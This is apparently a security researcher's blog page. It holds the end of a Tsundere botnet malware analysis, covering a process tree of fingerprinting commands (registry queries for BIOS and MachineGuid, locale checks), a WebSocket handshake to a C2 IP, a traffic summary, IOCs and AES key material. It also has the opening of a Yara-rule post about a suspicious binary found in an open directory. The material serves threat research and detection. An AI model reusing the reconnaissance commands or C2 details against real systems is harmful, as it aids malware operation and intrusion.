├── cmd.exe (4440) → cmd.exe /d /s /c “vol”
│ └── [VOLUME SERIAL NUMBER]

├── cmd.exe (7008) → reg query “HKLM\HARDWARE\DESCRIPTION\System\BIOS”
│ └── [BIOS FINGERPRINTING]

├── reg.exe (8068) → reg query “HKLM\HARDWARE\DESCRIPTION\System\BIOS”
│ └── [BIOS — direct call]

├── cmd.exe (832) → reg query “HKLM\SOFTWARE\Microsoft\Cryptography” /v MachineGuid
│ └── [SYSTEM UUID — Unique identifier]

├── reg.exe (7432) → reg query “HKLM\SOFTWARE\Microsoft\Cryptography” /v MachineGuid
│ └── [SYSTEM UUID — direct call]

├── cmd.exe (1496) → powershell.exe “[System.Globalization.CultureInfo]::InstalledUICulture.Name”
│ └── [SECOND LOCALE CHECK — possibly in reconnect loop]

└── powershell.exe (4) → “[System.Globalization.CultureInfo]::InstalledUICulture.Name”
└── [THIRD LOCALE CHECK]

DNS Query to one of the Ethereum Wallet Endpoints

DNS Query to a second Ethereum Wallet Endpoint

Shodan

Example of the Websocket Handshake Get Request:

CLIENT REQUEST:

— — — — — — — -

GET / HTTP/1.1

Sec-WebSocket-Version: 13

Sec-WebSocket-Key: gcG7wVAmx5B2IhtwTdv9WQ==

Connection: Upgrade

Upgrade: websocket

Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits

Host: 193.24.123.68:3011

Traffic Flow Summary:

  • 13808 551.95 →C2 227 WebSocket handshake request

  • 13815 552.12 ←C2 129 101 Switching Protocols

  • 13816 552.12 ←C2 34 AES-256 Key (binary)

  • 13818 552.13 →C2 6 ACK

  • 13822 552.29 ←C2 18 AES IV (binary)

  • 13923 553.41 →C2 520 Encrypted victim fingerprint

  • 13997 553.63 ←C2 50 Encrypted ack: “Connected”

IOCs

Network:

  • 193.24.123.68:3011 (WebSocket C2)

  • rpc.flashbots.net (Ethereum RPC)

  • rpc.mevblocker.io (Ethereum RPC)

  • eth.llamarpc.com (Ethereum RPC)

  • eth.merkle.io (Ethereum RPC)

  • eth.drpc.org (Ethereum RPC)

Also, these are all new IOC’s compared to the Kaspersky report:


Encryption

  • AES Key: e5f4e1b5d1065b0ecd6b3ef972d451e1c63ecd8da4d73b82cf429d70d13d166f

  • AES IV: 4e3d21a0941bb92632c4997fd4a582b1

Thank you! Critque welcome and appreciated!

August Vansickle


Twitter: @LunchM0n3ey9090

Linkedin: August Vansickle | LinkedIn

References:

The Tsundere botnet uses the Ethereum blockchain to infect its targets | Securelist

Read More
August van sickle August van sickle

100 Days of Yara - Day 15 2025

It all begins with an idea.

Day 15

#100DaysOfYara Day 15

So today, I went hunting on my own through open dir’s to find some spicy binaries.

Heres a resource to learn about open dir hunting using censysy: https://censys.com/a-beginners-guide-to-hunting-open-directories/

The one I looted from, I grabbed a file called excel-https.exe. Part of the reason that interested me, is that file naming convention is typical of C2 implants, esp for ex, Cobalt Strike.

The binary was a PE32, had a lot of socket calls, and functionality, it had metadata that indicated it was an Apache tool used for load testing — ApacheBench: https://censys.com/a-beginners-guide-to-hunting-open-directories/

So I almost gave up, but there were calls for retrieving process ID’s, getting handles on processes, etc and Apache Bench is only testing web apps for load.

and, there was a hardcoded IP, which I visited and is the open dir I found in the first place.

So heres my Rule:

https://github.com/augustvansickle/2025_100DaysofYara/blob/76aaaa87796ef90fc5b3b8dba665c6b539a9d68e/Day15_OpenDir_HTTP_Beacon_PE.yar

Read More